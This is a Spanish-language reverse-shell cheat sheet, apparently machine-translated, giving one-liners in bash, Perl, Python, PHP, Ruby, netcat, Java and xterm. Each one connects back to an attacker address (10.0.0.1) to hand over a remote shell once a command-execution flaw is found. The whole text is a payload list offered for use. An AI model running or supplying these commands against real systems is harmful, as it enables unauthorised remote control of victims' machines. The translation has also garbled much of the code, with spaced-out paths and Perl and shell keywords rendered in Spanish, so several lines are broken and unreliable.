Para poder ejecutar una reverse shell lo primero que necesitas es encontrar una vulnerabilidad de ejecución de comando.
Los ejemplos mostrados se adaptan a sistemas similares a Unix. Algunos de los ejemplos a continuación también deberían funcionar en Windows si utiliza el sustituto “/ bin / sh -i” con “cmd.exe”.
Golpetazo
Algunas versiones de bash pueden enviarle un shell inverso (esto se probó en Ubuntu 10.10):
bash -i> & /dev/tcp/10.0.0.1/8080 0> & 1
PERL
perl -e 'use Socket; $ i = "10.0.0.1"; $ p = 1234; socket (S, PF_INET, SOCK_STREAM, getprotobyname ("tcp")) if (conectar (S, sockaddr_in ($ p, inet_aton ( $ i)))) {abrir (STDIN, "> & S"); abrir (STDOUT, "> & S"); abrir (STDERR, "> & S"); exec ("/ bin / sh -i");} ; '
Pitón
Esto fue probado bajo Linux / Python 2.7:
python -c 'import socket, subprocess, os; s = socket.socket (socket.AF_INET, socket.SOCK_STREAM); s.connect (("10.0.0.1", 1234)); os.dup2 (s.fileno () , 0); os.dup2 (s.fileno (), 1); os.dup2 (s.fileno (), 2); p = subprocess.call (["/ bin / sh", "- i"]); '
PHP
Este código supone que la conexión TCP utiliza el descriptor de archivo 3. Esto funcionó en mi sistema de prueba. Si no funciona, intente 4, 5, 6 ...
php -r '$ sock = fsockopen ("10.0.0.1", 1234); exec ("/ bin / sh -i <& 3> & 3 2> & 3");'
Rubí
ruby -rsocket -e'f = TCPSocket.open ("10.0.0.1", 1234) .to_i; exec sprintf ("/ bin / sh -i <&% d> &% d 2> &% d", f, f, f) '
Netcat
Netcat rara vez está presente en los sistemas de producción e incluso si hay varias versiones de netcat, algunas de las cuales no admiten la opción -e.
nc -e / bin / sh 10.0.0.1 1234
Si tiene instalada una versión incorrecta de netcat, Jeff Price señala aquí que es posible que aún pueda recuperar su shell inversa de esta manera:
rm / tmp / f; mkfifo / tmp / f; cat / tmp / f | / bin / sh -i 2> & 1 | nc 10.0.0.1 1234> / tmp / f
Java
r = Runtime.getRuntime ()
p = r.exec (["/ bin / bash", "- c", "exec 5 <> / dev / tcp / 10.0.0.1 / 2002; cat <& 5 | al leer la línea; do \ $ línea 2> & 5 > & 5; hecho "] como String [])
p.waitFor ()
xterm
Una de las formas más simples de shell inverso es una sesión xterm. El siguiente comando debe ejecutarse en el servidor. Intentará conectarse de nuevo a usted (10.0.0.1) en el puerto TCP 6001.
xterm -display 10.0.0.1:1
Para capturar el xterm entrante, inicie un X-Server (: 1 - que escucha en el puerto TCP 6001). Una forma de hacerlo es con Xnest (para ejecutarse en su sistema):
Xnest: 1
Deberá autorizar el destino para que se conecte con usted (el comando también se ejecuta en su host):
xhost + targetip